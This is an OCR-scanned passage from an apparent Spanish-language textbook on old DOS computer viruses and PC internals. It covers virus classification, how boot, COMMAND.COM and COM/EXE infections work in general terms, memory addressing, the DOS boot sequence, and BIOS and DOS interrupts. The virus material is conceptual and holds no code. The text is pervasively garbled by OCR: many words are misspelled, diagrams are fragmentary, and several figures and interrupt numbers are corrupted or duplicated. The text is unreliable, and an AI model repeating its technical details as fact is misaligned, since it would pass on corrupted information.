deteccion e, meluso, la preparacidn de vacunas Casi todos los virus presentan cingo
caracteristicas que son:

* Segmentos de cddigo intercalados dentro de programas normales

* Se autorreproducen creando duplicados de si mismo

* Modifican el comportamiento del sistema operativo

* Se propagan infectando programas ejecutabies y ahora también de programas
de datos.

* Presentan efectos destructivos, bien como accidn directa def virus, bien como
resultado indirecto de la accidn reproductora.

1.7 CLASIFICACION DE LOS VIRUS.
LOS TIPOS DE VIRUS LOS PODEMOS CLASIFICAR SEGUN:
* POR LA AREA EN LA QUE SE INSTALAN

- Virus de boot
- Virus de la tabla de particiones
- Virus de archivo

* POR SU FORMA DE CONTAGIO:

- Virus residentes
- Virus de accion directa

VIRUS DE BOOT: Se instalan en el sector de arranque del sistema Alteran el
funcionamiento cuando se arranca la computadora desde un disco contagiado.

VIRUS DE LA TABLA DE PARTICIONES: Similares al anterior, pero se colocan
en un codigo que se gjecuta antes del boot. Es un codigoe situado en el llamado master boot.

VIRUS DE ARCHIVO: se instalan en archivos ejecutables v entran en accidn
cuando s¢ cargan estos archives. Los virus comtagran siempre a archivos que som
gjecutables, puesto que no pueden transmitirse desde archivos de datos. Sin embargo,
pueden dafiar archivos de datos como parte de su accidn destructiva. ‘
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Los virus de la tabla de particiones no acostumbran a it solos, sino que forman parte
de virus de boot o de archivo, ya que en caso contrario no podrian contagiarse mas que a
los disces duros y no tendrian posibilidades de expansion a otros sistemas

VIRUS RESIDENTES permanecer en ia memora despuds de su ejecucion y
aprovechan determinados servicios del sistema operative para contagiar otros archivos y
programas (por g;emplo, al ejecutar un programa o copiar un archivo).

VIRUS DE ACCION DIRECTA no permanecen et memona después de ser
ejecutados; en el mismo momento en el que se glecuian el virus, ésie busca nuevos
archivos y programas para contagiar.

1.8 TIPOS DE CONTAMINACION
EXISTEN TRES TIPOS BASICOS DE CONTAMINACION

*Virus que contaminan el Boot o sector 0 del disco.
*Virus que contaminan el sistema operativo (command.com).
*Virus gue contaminan los archivos ejecutables (EXE o COM).

Los que contaminan el Boot o sector O sustituyen el programa de carga del DOS
existente en dicho sector por un programa de carga del virus. El programa del virus, asi
como el programa de carga del DOS original, se localiza en sectores libres del disco que
son posteriormente marcados en la FAT como sectores defectuosos para que no puedan ser
detectados fécilmente por el usuario.

Al arrancarse la computadora, éste lee el sector 0 del disco, el programa conienido
en este sector localiza el sector donde se encuentra el programa del virus, lo carga v
posteriormente va al sector donde guarda el programa de carga det DOS para terminar de
poner en marcha la computadora,

Los virus que contaminan ios archivos .COM (COMMAND COM u otros) afiaden a
estos archivos el programa del virss a! principio o af final del musmo v sustituyen los
primeros 3 bytes del archivo Namada al codigo de virus. Bl inconveniente que tiene este
tipo de virus es que no pueden ser muy complicados, ya que un archivo no puede tener mis
de 64 Kbytes. Sin embargo, muchos virus lo que hacen es ocultar e! grueso del cédigo en
ur archivo oculto y utiliza un archivo .COM para hacer una Hamada a ste.

Los virus que contaminan los archivos EXE son los mas dificiles de realizar v
también de detectar, ya que estos archivos tienen una cabecera o header que necesita el
DOS para el calculo de 1a direceidn correcta de algunas instrucciones, asi como los datos
para localizar la primers instroccion del programa. Los cbdigos det viras sé coloca, a
continnacion del codigo del programa y realizan en la cabecera los cambios ngcesarios para
que fa primera mstruccidn que se gecute sea la del cddigo det viros. A comtimuacion da
paso al codigo del programa.



De los distintos tipos de contamnacion la mas facil de realizar es la del BOOT, sin
embargo también es ta mas ficil de detectar

La contamunacion de archivos EXE son las mas dificiles de realizar y detectar, pero
sor tas que faciiitan una propagacion mas rapida va que os archrvos de aplicacion son ios
que mas suelen compartirse.

La contaminacion de! archivo COMMAND.COM tiene la venteya de tomar el
combro] del sisterna operative at encenderse fa compuadora,

La técnica generalmente utilizada por los virus compagina la contaminacién de los
archivos EXE, para asegurarse iz propagacitn, con ia del archivo COMMAND.COM, para
tomar rapidamente el control



CAPITULO Il
COMO FUNCIONA UNA COMPUTADORA Y SUS DISPOSITIVOS

2.1 INTRODUCCION

La computadora es una méquina capaz de almacenar informacion para Hevar a cabo
delenninadas acciones. Las acciones 4 reailzar por fa compufadora estan indicadas on los
programas informaticos, no pudiendo realizar nada que no esté especificado en un
programa.

La computadora consta de una serie de elementos fisicos (tagetas y chips
glecirénicos) gue rembin ol nombie de HARDWARE y de unos clemenios idpeos
(programas) que se denominan SOFTWARE.

Asimismo, la computadora esti en contacin peumanentemente con el exienor,
enviando Informacin al momior o pantatly y recibiendo informacidn del tecindo o del
ratdn. Ademis, envia v/o recibe informacidn a otros periféticns, como son las unidades de

Internamente, los elementos fundamentales que marcan las caracteristicas de las
compuiadoras tipo PC son el microprocesador, las memorias y Jas unidades de diseo,

22  MICROPROCESADOR

El microprocesador es et cerebro de la computadora, accede a la wfounacidn, la
procesa y da las respuesias adecuadas. Esta foemado por vanos cucusios alecinonicos
conectados con el extetior, de forma que va levendo cada una de las instrucoones de un
programa vy las va giecuando.

T awv & | recisTrRos

A

BUS DE DATOS

PARTES DE UN MICROPROCESADGR
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2.2.1 PARTES BE UN MICROPROCESADOR
EL MICROPROCESADOR SE DIVIDE EN TRES PARTES.

1.  Una UNIDAD DE CONTROL., que es la parte que interpreta las instrucciones del
programa, pencrande 1a informacidn pecesaria para conirolar los  dispusiiivos
penféricos. Estas instrucciones del programa no se refieren a las instrucciones de los
fenguajes de alio nivel, como Basic, Pascal o Clipper, sino las insirucciones en
ienguaje maquing en que son copvertidos los comandos y funciones de estos
fenguajes al ser compilados los programas que los contienen,

2. Una UNIDAD ARITMETICO-LOGICA (UAL o ALID, que realiza las
operaciones matemdlicas que le indwea 1a unidad de control, almacepando fos
resultados en registros de almacenamiento.

3 REGISTROS DE ALMACENAMIENTQ, que permiten almacenar, entre otras
cosas, tos resultados de os caloutos de b ALY o Ia direcerdm de memoria donde se
encuentra fa siguiente instruccidn  FExisten cuatro registros importantes:

Contador de programa, que guarda la direccion de memoria donde se encuentra ia
instruecion a gjecutar

Acumulador, que almacena los resultados de las operaciones efectuadas por la
ALY

Registros de estado, sitve para indicar determinados estados o condiciones que se
han producide al ejeeutar fa dltima operacién {por ejemplo, resuliado pegativo).

Punteros de stack, unlizados por el microprocesador para almacenar datos de
forma {emporal. Eslos regisiros tienen la direceidn donde esid uiieada ia informacidn.,

El microprocesador necesifa para sincronizar sus acciones los pulsos que emite un
dispositivo thomade telej.  Por cada pulso, © por cada cierio mimers de pulsos, of
microprocesador elecuta una instruccién, necesitando cada instruccion un ndmero de
puisos dislinte. Bl pimero de pulsos que se emilen cada segundo es Ja frecuencia de reloy v
suele variar

1 microprocesador va gjecutando unas instrucciones a continuacién de otras tanto
mds rapidamemie cuania mavor recueneia ienga sn relof. Esie proceso s6lo es alierado por
la gparicién de una interrupcién  Una interrupcion se produce cuando algin otro
tispostitve, por gjemple wm leclado, Hanm B sencidn del microprocesador Taciendo que
deje temporaimente lo que estaba realizando y atienda al dispositsvo o circtito que ha
producido 1 liamada,



Existen terrupciones hardware producidas por dispositivos periféricos, como ¢l
teclado, v también interrupciones software producidas por un programa o aplicacién. En
ambos ¢asos, se provoca la ejecucion de una rutina determinada.

El mecanismo de una interrupcion, tante hardware como software, consiste en que
se interrumpa la ejecucidén del programa, se guardan los valores de sus regstros para su
posterior racuperacion, se glecuta la rmtina de la inferrupeion v cuando se termina se
continia gjecutando ef programa en la instruccion siguiente a la que se dejé Larutinaala
que se Hama depende del tipo de interrupcion producido

Velviendo al microprocesador, cada una de las partes del mismo se comunica con
las otras a través de unos canales de comunicacidn internos {lamados bus interno, por cada
uno de estos canales circula un bit simultdneamente. El ntimero de canzles, o nimero de
bits, que tiene un bus intermo depende del tipo de microprocesador. Cuantos mas bits
tenga, mds informacién simultinea podri intercambiar, y por tanto, méas rapidamente
funcionara.

Para comunicar el microprocesador con ¢l resio de los componentes de la
computadora (memoria, monitor, periféricos, etc.) se dispone de un bus externo, €l cual
transporta distintos tipos de sefiales  Asi, el bus externo del PC tipo XT tiene 62 lineas
fisicas, identificadas con los cddigos A1 al A31, y Bi al B31 Las sefiales que transportan
sun de distinto tipo, desde las propias al Hamado bus de datos (8 lineas) o al bus de
direccionamiento (20 lineas), hasta distintas sefiales de tensiones (5 lineas mas 3 de tierra)
o sefiales de control (interrupciones hardware). El bus del PC tipo AT tiene 36 lineas mas,
numeradas de Ia Cl a la C18, y de la D! a la D18, aumentando ¢! bus de datos a 16 bits, el
de direccionamiento a 24 bits, y teniendo mas lineas de control.

El bus de direccionamiente es por donde el microprocesador selecciona cada una
de las posiciones de memoria, y con ello al componente con ef que quiere comunicarse, ya
gue cada componente tiene asignadas unas direcciones determinadas. Aunque la mayoriza
de las direcciones estdn asignadas a los chips de memoria RAM.

El bus de datos transporta la informacion que el microprocesador intercambia con
el exterior (bits que lee o escribe en las posiciones de memorial).

Desde que se construyd el primer 8088, la obsesion de los fabricantes ha sido
conseguir microprocesadores gue realicen un misme proceso cada vez mas rapido. Para
ello, se ha cambiado la construccidn interna de la umdad de control, aumentando su
eficacia, de forma que pueda interprefar rads instrucciones por segundo. Se ha aumentado
el tamafio de los buses internos y externos, de forma que en un mismo tiempo se¢ pueden
enviar mas informaciones, consiguiéndose ademds una mayor capacidad de
direccionamiento. Por altimo, estos nuevos circuitos integrados se han constrmdo para que
puedan soportar frecuencias de reloj més elevadas.
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2 3. MEMORIA

Los programas que se gjecutan en la computadora, asi como los datos de las
variables que utilizan estos programas, deben estar almacenados en un lugar accesible para
el microprocesador Este lugar es }o que se denomina memoria, ¥ fisicamente esta formada
por una serie de chips electronicos comunicados con el microprocesador por el bus de
direcciones v el bus de datos descritos anteriormente.

Cada posicién de memona contiene la informacion correspondiente a 8 bits; 8 bits
son un byte, por lo que cuando seleccionamos una posicién de memoria para leer su
contenido, obtenemos por ¢l bus de datos el byte (R bits) de esa posicion.

Cada byte representa, bien parte de una instruccién de un programa, bien un valor
numérico hexadecimal, o bien un cardcter alfanumérico perteneciente al juego de
caracteres ASCH.

Los chips electrénicos de memoria de una computadora pueden ser de los siguientes
tipos: ROM (Read Only Memory), que son aquetlos en los que la informacion gue contiene
no puede ser modificada, esta informacion es grabada en esa memoria por el fabricante, y
la tinica manera de modificarla es cambiando estos chips por otres. Dicha informacion no
se borra cuando se apaga fa computadora. Por otro lado, estan los chips de memoria RAM
{Randon Access Memuory), que son aquellos en jos que la informacidn puede ser leida y
modificada tantas veces como se quicra. Esta informacion es borrada cuando se apaga la
computadora.

En la memoria ROM estj almacenado el programa de arrangue de la computadora,
el cual se pone en funcionamiento al encender el mismo. Este programa de arranque realiza
una serie de revisiones, comprobando el estado del resto de las memonas, del teclado, de
las unidades de disco, etc. ¥ da paso al sistema operativo (archrvo COMMAND.COM entre
otros), que debe estar accesible en el disco duro o en una unidad de disco flexible Los
chips de memoria ROM son fundamentales para que una computadora pueda arrancar. Los
primeros PC XT tenian suficiente con 64 Kbytes de ROM, mienmas que un AT necesita
256 Kbytes.

En la memoria RAM se cargan las aplicaciones det usuano en el momento de ser
gjecutadas, asi como los valores de las variables que utilizan estos programas.

2.3.1 TIPOS DE MEMORIA DE UNA PC

FUNCIONES DE LOS DISTINTOS TIPOS DE MEMORIA

TIPOS CONTENIDO
ROM Programa de arranque. Sistema operativo (BIOS)
RAM Sistema operativo, programas de usuarios, datos de los programas

CMOs Configuracion de la computadora, fecha v hora



Aparte de los tipos de memoria anteriormente descritos. ias computadoras suelen
traer 64 byies de memoria no volatif basados en el chip de Motorola MC146818A o
equivalente y denominada Memoria CMOS-RAM  Estos 64 bytes se encuentran fuera del
rango de direcciones del microprocesador, accediéndose a ellos a través de los puertos de
entradassatida 70h v 71h.

En éita memoria CMOS-RAM 1a computadora almacena miormacidn sobre lag
caracteristicas mas importantes de la configuracién de la computadora: ndmero y tipo de
unidades de disco, cantidad de memornta RAM disponible, etc  Este tipo de memonas no
aparece en las computadoras 8088/86 (PC-XT).

En fos aitimos modeios de PC, para conseguir mayores velocidades de
funcionamiento, se ha instalado un nuevo tipo de memoria denominado memoria caché.
La memoria caché consiste en la utilizacion de chips especiales de memona de alta
velocidad que se inserfan entre el microprocesador v l2 memeoria principal para acelerar el
sistema, consiguiéndose que ios datos mas empleados se encuentren en und MEMOrt
rapida, en vez de tener que acceder a la memoria RAM principal, mucho mas lenta. Los
chips de la memoria RAM principal son del tipo denominado DRAM (RAM dinamica), los
cuales son refrescados periddicamente, pudiendo accederse a se informacidn solo en los
ciclos de refresco. Esto hace que su velocidad de acceso sea en los chips més rapidos del
mercade de 80 ns, exisitendo chips DRAM de hasta 200 ns. Por el contrario, fos chups para
memorias caché son del tipo SRAM (RAM estaticas) con velocidades de acceso de 25 ns,
siendo su principal diferencia con las anteriores el hecho de que se puede acceder a su
informacidn en cualguier momento, sin tener que esperar a ningua ciclo de reftesco.

Bstas memorias caché son distintas de kas memorias caché para disco. La memona
caché del microprocesador se consigue con la instalacion de chips especiales, mientras que
ja memoria caché de disco se consigue con la mstalacion de sofiware especial.  Los
microprocesadores 486 y supenor tienen instalado ung memona caché en el propio
microprocesador.

Cada tipo de microprocesador fiene fa capacidad de direccionar a un nlmero mayor
o menor de posiciones de memoria, ya que el nimero de bits de direccionamiento de cada
uno de ellos es diferente.  Asi, fos primeros 8086 cuentan con 20 oits de direccionamiento
por los que puede identificar a 2%’ = 1 Mega de posiciones de memoria, o lo que es lo
mismo a 1 Megabyte. Los 86286 disponen de 24 biis de direccionamienio, por lo que su
capacidad maxima es de 16 Megabytes, y los 80386 y 486 disponen de 32 bits de
direccionamiento, por o que su capacidad es de 4.096 Megabytes. Esta capacidad de
direccionamienio debe servir fanto para direccionar a la memoria RAM comao al resto de
los componentes de 1 computadora, tarjeta de video, perifénicos. cic

24  DIRECCIONAMIENTO

Para direccionar a todas y cada una de 1as posiciones de memoria, ia computadora
divide a la misma en segmentos de 64 Kbytes, de forma gue cada posicidn gqueda
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wdentiflicada por dos nameros, ¢ primero deniifica 41 segmento, v el segundo Wenixfica a fa
postcidn dentro de este segmento, a este segundo nimere se le llama offset.

Para poder wdentificar cada posicion deniro de un segmenio de 64K byies, ¢l offset
estd formado por 16 bits, y por tanto es capaz de tomar los valores desde el
G0000000000000600606  en binanio  (0000h  en  hexadecrmal),  hasta  ef
TEITHIT11T11811311131 en bmario (FFFFH en hexadecimal, 65535 en decimal). Por su
parte, come un PC-XT solo tiene 16 segmentos, »010 necesita 4 bris para wdeniificar 4 cuda
uno de ellos, con lo que tendrd 16+4=20 bits de direccionamiento.

Direccionamenico de memorica
M

832K

192K
128K

4K

Como el bus interno de las computadoras XT {yue fueron para los que se cred el
DOS) tiene 16 bits, el DOS identifica tanto ¢l offset como ¢l segmento con niimeros de 16
bits; ¢ sca, con dos bytes cada unc. Para hacer la conversion de dos nameros de 16 bits a
uno de 20 bits, que es el nimero de bits que tiene el bus de direccionamiento, se muitiplica
por 10k {16 en decimal) el niimero del segmento y se le suma al nlmero del offset

Ast, la direccion de memena 1,048,575 (ditmo byie de jos 1.624k, iM) esta
formada por el namero FOOOFFFF (segmento offset), que se corresponde con el ndamero de
20 prts FFFFFH.

FOO0h x 10h = FOQ00h



FOO00h+FFFFh=FFFFFh

En decimal:

61,440 x 16 = 983,040
983,040 + 65,535 = 1,048,575

Recuerde gque cada nimero hexadecimal se corresponde con cuatro bits, y tambicn

que para convertir ¢l miimero hexadecimal FFFFFH en decimal se realiza la operacion

15x16* + 15x16° + 15X16% + 15x16' + 15x16° = 1,048,575

Este modo de dircccionamiento es el que utihza normalmente ¢f sisterma operativo,
y con €l se puede direccionar cualqueer posicidn de memoria entre 0 y 1Mbyte. A este
modo de direcctonamiento se le Hlama modo real, y es el modo de direccionamento gue se
penso cuando se cred el primer PC. Sin embargo, todos sabemnos que hoy en dia es habitual
encontrarse con computadoras gue tienen 4, 8, 16, 24 o mas Mbytes de memona mstatados,
por lo tanto tiene que haber una forma de acceder a esta memona adicional, Pues uen,
para yue el microprocesador pueds, acceder 1 pusiciones de memona supertores ¢ 1 Mbyte
se utiliza otro modo de direccionamiento, Hamado modo protegido.

En e modo protegido no se utthiza el par segmento:offset, como ocuitia en ¢l modo
real, sino el par selector:affser. Esto es asi porque en este caso se pueden direccionar mas
de 16 segmenios de 64 Kbytes, v por tanio en vez de tener scgmentos de 4 bits se tienen
selectores de hasta 16 bits, pudiendo direccionarse desde la posicion 0000.0060 hasta la
FFFFFTEE.

El modo real es meompatibie con el modo protegide, o cusl quiere desir que un
microprocesador o trabaja en modo real con 20 bits de direcoionamiento, o lo hace en
modo protegido con 24 © 32 bits de direccionamienio. Como puede suponer, solo los PC-
AT, 386 o superior pueden trabajar en modo protegido, ya que el PC-XT fisicamente s6lo
itene 20 bits de direccionamrento, y por tanto no puede trabajar con mas. Ei AT 286 puede
trabajar en medo real y en mode protegido, pero asi como tiene una instruccion para pasar
de modo real ¢ protegido, no la tiene pars pasar de modo protegido a real, por {o gue ia
fmica forma de volver al modo real es resefeando la computadora. Por su parte, Jos 386 y
486 pueden conmutar enfre modo real y protegido, v viceversa,

Los mucroprocesadores 3865X, DX y 486 trenen, ademés de modo reat y modo
omiegido, el modo virtual real. Medmante este modo pueden ejecntar varios programas
simultancamente, paras eliv le asignan a cada aplicacion un blogue de 1 Mbyte v una copla
del sistema operativo, consiguéndose una auiéntica mulitarea.

Aungue existan distintos modos de direccionamiento, la mayoria de las aplicaciones
solo son capaces de trabajar en modo real, independientemente de la computadera en gue

s¢ glecuien, solo alpunas han side programadas especificamente parg trabajar en modo



protegido, siendo algunas de éstas la versién 3.0 de Lotus 1-2-3, el Wmdows 30 y 31,y
por lo tanto las aplicaciones para Windows 3.0 o posteriores

Se le llamo modo protegido por gue cuando Intel pensd en desarrollar el 286, no
solo querfa desarrollar un chip con una mayor velocidad de proceso y con capacidad de
direccionar mas memoria, sino que querfa acercarse a las computadoras mamnframe, y una
de las caracteristicas de este tipo de computadoras €5 su capacidad de ejecutar multiples
programas al mismo tiempo, esto es o que se Hama multitirea Pues bien, ios mainframe
permiten la multitirea porque trabajan en medo protegido; esto es, cada vez que una
aphicacion va a hacer uso de una parte de la memoria que en principio no esta asignada a
ella, tiene que pedir permiso al sistemna, ya que esa memorta puede que esté asignada a otra
aplicacion. La memoria esta protegida para evitar que la asignada a una apiicacidn sea
utilizada por otra. Por el contrario, los Programas gue trabajan en modo real entienden que
toda la memoria esta disponible para su uso, y por tanto no saben nada de pedir permiso at
sisterna operativo antes de usar la que necesitan; como consecuencta, en modo real no se
puede irabajar en multitirea.

2.5 SISTEMA OPERATIVC

Ei microprocesador, que es el que hace funcionar la computadora, no sabe hacer
absolutamente nada st no se le indica con un programa; no sabe hacer ni siquicra lo basico.
leer el teclado, interpretar los comandos que teclea el usuano, sacar la informacién por
pantalla, comprobar si ha habido errores, etc.

Para que el microprocesador pueda hacer estas funciones, necesita un programa, y
este programa es el sistema operativo,

El sistema operativo es ¢l primer programa gue s¢ carga en la computadora al
arrancarlo, v se encarga de regular su funcionamiento Los objetivos del sistema operativo
son: facilitar al usuario el manejo del equipo, facilitar a los programas del usuano el acceso
a los distintos periféricos y controlar [os errores gue se puedan producir

Asi, cuando un usuario quiere conocer la lista de archivos de su disco duro, tecleara
a2 continuacion del indicativo ">" el comando DIR y pulsara la tecla INTRO. A
confinuacion, el sistermna operativo ejecutara un programa que pondra en marcha la unidad
de disco, leera los clusters dende se encuentra el directorio, extraera la informacién que
contienen y la presentara en pantalla con un aspecto facil de interpretar,

De la misma forma, si el programa de un usuario guiere leer la informacion de un
archivo contenido en un disco flexible, no sera el programa del usuario el que se encargue
de averiguar si 1a unidad de disco es de simple, doble o alta densidad, o de buscar el cluster
det disco donde se encuentra ¢l archivo, sino que de todas estas funciones s¢’encarga el
sistema operativo, que recibe del programa la peticién de lectura v le devuelve los datos va
leidos.
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Gracias a los sistemas operalivos, los programas del usuario no tienen que ocuparse

de los detalles internos de funcionamiento de fa computadora, m del hardware especifico
que tenga el mismo

Las tareas del sistema operativo son:

* Imscializar la computadora

* Manejar su memoria interna
* Manejar los distintos periféricos.

Las rutinas que componen el sistema operativo estdn divididas en tres blogues

*ROM-BIOS.

*ARCHIVOS OCULTOS DEL SISTEMA QOPERATIVO (Rutinas de servicig),
*Archivo COMMAND COM (Lenguaje de control de trabzjo)

PERIFERICOS (Disco, Monitor, Teclado, ctc}

v 4

CONTROLADORES PERIFERICOS

v 4

BIOS

} v 4

RUTINAS DE SERVICIO

| v}

COMMAND.COM K

' v !

| PROGRAMAS DE USUARIO

Interpretaciones del sistema operativo

En la memoria ROM interna de la computadora existe de forma permanente una
serte de rutinas grabadas que reciben el nombre de BIOS (Basic Input/Cutput System o

sistema bésico de entrads/salida). Las rutinas de la BIOS estdn ligadas al hardware
particular de la computadora



Estas ruttnas nos permiten, por un lado, wucializar ¢l equipo, y por ofro, nos
proporcionan acceso a los recursos basicos del sistema (hardware), lo cual simplifica las
tareas de programacidén y facdita la compatibil:idad de los programas Ast,
independientemente dei tipo de controladora de unidad de disco que usted tenga, Para ver
una lista de los archivos de su disco dure stempre tecleard DIR, sin preocuparse de nada
mas.

Con la BIOS podremos acceder a los 0 y 1 de lz informacion contenda en el disco,
pero 1o podemos inierpretaria, para eflo necesitamos las rutinas de servicio del sistema
operativo, llamadas servicios del DOS, que se encuentran en los archivos ocultos del
sistema operativo (archivos IBMBIOS.COM e [BMDOS.COM), que son cargados en
memoria RAM al arrancar la computadora.

Estos archivos ocultos se encuentran al principro de la zona de datos del disco (en la
pista de datos mas externa) y son llamados directamente desde las rutinas de arranque de la
computadora.

El hecho de que estos archivos se guarden en disco postbilita que se puedan cargar
en una computadora distintas versiones del sisterna operativo, 0 mcluso diferentes sisternas
operativos: DOS, 08/2, XENIX, etc.

Los archivos ocultos contienen las rutinas de servicio. Los objetivos de estas rutinas
son fundamentalmente la gestion de los archivos contenidos en los discos y ef controf de la
ejecucion de los programas.

Por Gltimo, tenemos lo que se Hama lenguaje de control de trabajo (Job control
lenguaje), una serie de rutinas conteridas en el archivo COMMAND.COM y que son ias
que se encargan de analizar las ordenes que el usuwario teclea, activando las rutinas de
servicio necesarias para ejecutarias, y proporcionando al usuaric los correspondientes
mensajes de respuesta.

Aparte de lo anterior, ¢l sistema operativo se completa con una serie de archivos
que sirven para configurar los periféricos (por gjemplo, KEYBOARDS.SYS), ja memona
RAM (por ejemplo, HIMEN SYS), el adaptador de video {por ejemplo, ANSLSYS) o
forman parte del juego de comandos externos del DOS (por ejemplo, FORMAT,
CHKDISK, etc.). Todos estos archivos suelen estar contenidos en un subdirectorio Hamado
DOS, SYSTEM o un nombre similar.

2 5.1. ARRANQUE DE LA COMPUTADORA

Cuando prendemos nuestra computadora, to primero que hace el microprocesador
es leer y gjecutar las instrucciones del pequefio programa grabade en la memoria ROM
{direccion de memoria de FOQO:E000 a FOOO.FFFE, o dicho de otra forma, de 1016K a
1024K) Este programa comprueba el estado de la memoria, tnzcializa algunas variables del
sisterna v va a buscar a las unidades de disco A:, y en su defecto C:, la existencia de un
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disco que tenga cargado en el sector 0 de su pnimera pista (la mas externa), el registro de
carga 0 boot record. En este momento pasa ¢l control de la computadora a las rutinas que
contiene este regstro, llamadas rutinas de bootsirap.

Dichas tutinas buscan en el disco los archivos IBMBIOS.COM vy IBMDOS.COM
para cargarios en memoria RAM A continuacién busca el archivo CONFIG.SYS para
cargar los controladores de dispositivos instalados. Luegp cargz en memeoria el archive
COMMAND.COM, para por ultimo, ejecutar el archivo AUTOEXEC.BAT. St durante este
proceso no se encuentran los archivos CONFIG.SYS o AUTOEXEC.BAT, ésto no
impedira que la computadora funcione (aungue no sea del todo comrectamente), ya que el
DOS tomara unos valores determinados por defecto. Pero si no existe alguno de los otros
archivos, se emitird up mensaje de error vy la computadora no funcionara, Una vez
realizado todo lo anterior, la computadora queda a disposicién del usuario.

Los archivos IBMBIOS.COM v IBMDOS.COM son dos archives ocultos ¥ no
aparecen cuande se le pde al DOS un listado de los archivos del disco.  En algunos
sistemas operativos, estos archivos tienen los nombres 1O0.8YS y MSDOS.SYS,
respectivamente.

El archivo IBMBIOS.COM contiene extensiones a las rutinas de la ROM-BIOS, que
pueden ser cambiadas con ias distintas versiones del sistema operativo

El archivo IBMDOS.COM contiene los servicios del DOS, que son las
interrupciones

El archivo COMMAND.COM contienc ¢l mterprete de mandatos o comandos
propios del sistema operativo que el usuario invoca a través del tectado.
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252 EJECUCION DE PROGRAMAS

Cuando la computadora nos presenta por pantalla el indicativo de la unidad de disco
activa (por gjemple, C/>) el usuario puede teciear un comando del sistema operativo o
bien pueds gjecutar un programa.

Los comandos del sistema operativo son de dos tipos, comandos intergos, que son
aquellos gue se cargaron ¢n memoria RAM al cargarse el archivo COMMAND.COM (por
gjemplo, DIR, DELETE, etc.), v comandos externos, que son aguellos que permanecen en
el disco y son cargados en memoria RAM sélo cuando ¢l usuario los ejecuta (por ejemplo,
FORMAT, CHKDSK, etc.).

En cuanto 2 los archivos gjecutables, la computadora sblo reconoce como tales a
aquellos archivos que tienen las extensiones COM, EXE o BAT. De ellos, los que tienen
una de las dos primeras extensiones se corresponden con programas del usuario, v los que
tienen la extension BAT son archivos especiales que contienen solo una lista de comandos
del DOS o nombres de programas gjecutables que la computadora va ejecutando de forma
secuencial. Un archivo BAT especial es el archivo AUTOEXEC.BAT.

Todos los archivos que no tengan una extensién como la indicada anteriormente son
archivos de daios, y si se tecica su nombre direciamente a continuacién del indicativo del
DOS (c:>>) obtendremos como respuesta: comando o nombre de archive incorrecto

Cuando tecleamos el nombre de un programa ejecutable, lo primero gue hace el
sistema operativo es comprobar si el programa indicado existe v si se trata de un archivo
gjecutable. A continuacion calcula la cantidad de memoria que requiere el programa y
comprueba Si nuestra computadora tiene libre dicha cantidad de memona. Por ultimo, si
todo lo anterior fue bien, carga el contenido del archivo en memoria y procede z ¢jecutar
las instrucciones del programa.

Una vez terminada la ejecucion del programa, éste puede terminar de dos formas:
devolviendo el control al DOS, liberando ademas [a memoria ocupada por el programa
(Interrupcion 20H o funcién () o bien devolviendo el control al DOS, pero sin liberar la
memoria, con lo cual el programa permanecera residente (Interrupcion 27H o funcidn

31H).

La diferencia que existe enire los archivos COM y EXE es que cuando se carga en
memoria RAM un archivo tipo COM, éste se carga exactamente en a misma posicion para
la que fue programado, v todo el programa debe de caber en un mismo segmento,
identificandose las direcciones de memoria de sus instrucciones sélo por el nimero del
offset. Por elio, estos programas ne pueden ocupar mas de 64K de memona.

Los archivos EXE no tienen las limitaciones de los archivos COM vy son cargados
en memoria en las zonas libres que la computadora tenga en ese momento. El tamafio
maximo de los archivos EXE viene dado por la cantidad de memoria RAM que tenga la
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compttadora, con el lirate maximo de 640K de memona RAM que cualquier computadora
con el sistema operativo DOS puede dedicar a programas ejecutables

2 53, INTERRUPCIONES ¥ FUNCIONES

Un microprocesador puede ser afectado en la gjecucién normal de un programa por
interrupciones software y hardware. Una interrupcion software es una nstruccién especial
que le indica al microprocesador que ¢jecute una determinada rutina de servicio. Las
interrupciones son utilizadas por programadores para ejecutar directamente una rutina del
DOS o de la BIOS,

Todas las rutinas de DOS o de la BIOS tiene asignado un niunero, de forma que
basta con emplear el nimero correspondiente en la instruccién INT para activar la rutina
oportuna. Algunas rutinas requieren que se les especifique ademds un pardmetro, para
saber cual de los varios servicios que tiene esa rutina queremos que se ejecute.

Para saber en qué direccidn de memoria empieza cada sutina, la computadora tiene
una tabla de vectores de interrupcion guardada al principio de su memoria, Asi, cuando
¢jecutamos la instruccion INT 21H la computadora va a Ia posicion 21 de esa tabla y mira
la direccion exacta donde empieza esa rutina.

Las mstrucciones de la BIOS se encargan de la lectura y escritura en disco,
presentaciones en pantalla, lectura del teclado, actualizacién de hora y fecha, manejo de
errores, etc.

Existen 12 mterrupciones de 1a BIOS, divididas en 5 grupos:

1.- Servicios de dispositivos periféricos.
INT 10H - Servictos de la pantalla de video
INT 13H - Servicios de disco
INT 14H - Servicios de comunicaciones (RS5232}
INT 13H - Servicios de casete
INT 16H - Servicios de teclado
INT 17H - Servicios de la impresora

2.- Servicios de estado del equipo
INT I1H - Servicios de lista de elementos del equipo
INT 12H - Servicio de célculo del tamafio de la memoria

3.- Servicios de fecha y Hora
INT IAH - Servicios de reloj

4 - Servicios de la pantalla de 1mpresién
INT 5H - Impresion de pantalla
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5.- Servicios especiales
INT 18H -Activacién del Basic de la ROM
INT 19H - Activacidn de la rutina de arranque de la computadora

Los usuarigs normales no tienen que ocuparse de estas interTupciones, ya que son
los programas los que llaman a {as rutinas necesarias cuando el usuario selecciona algunas
de sus opeiones. Los que si hacen un uso extensivo de estas interrupciones son los virus
informaéticos, interceptando diversas rutinas para modificarlas. Las interrupclones que
suelen ser interceptadas por los virus son las 13Hy 12H.

Por su parte, el DOS ofrece dos tipos de servicios de acceso a las interrupeiones, por
un lado, directamente por medio de una instruccidén INT, y por ofro, accediendo a las
funciones que se invocan a traves de la interrupcion 21H, especificando anteriormente en el
registro AH el nlimero de funcion que se invoca.

El DOS tiene los sigulentes servicios de mterrupeion:

INT 20H: Termina la ejecucion de un programa, libera la memoria ocupada por éste
v devuelve el control al DOS.

INT 21H: Liamada a funcién. Se debe colocar en el registro AH el numero de la
furicidn, siendo las mas importantes las siguicntes;

0 Terminacion de un programa y devolucion del control al DOS. Idéntica a 20H
1 Entrada de caracter con eco.

2 Salida a la pantalla.

3 Entrada per el puerto serie.

4 Salida por el puerto sene.

5 Salida a la impresora.

6 E/S directa a pantalla.

7 Entrada directa de cardcter sin eco.

8 Entrada de cardcter sin eco.

G Visualizacidon de una cadena de caracteres,
10 Entrada desde el teclado.

11 Comprobacion del estado de entrada.

12 Borra registro de entrada v procede a una entrada de datos.
13 Resetear fa unidad de disco.

15 Abrir un archivo.

16 Cerrar un archivo

17 Busqueda del primer archivo.

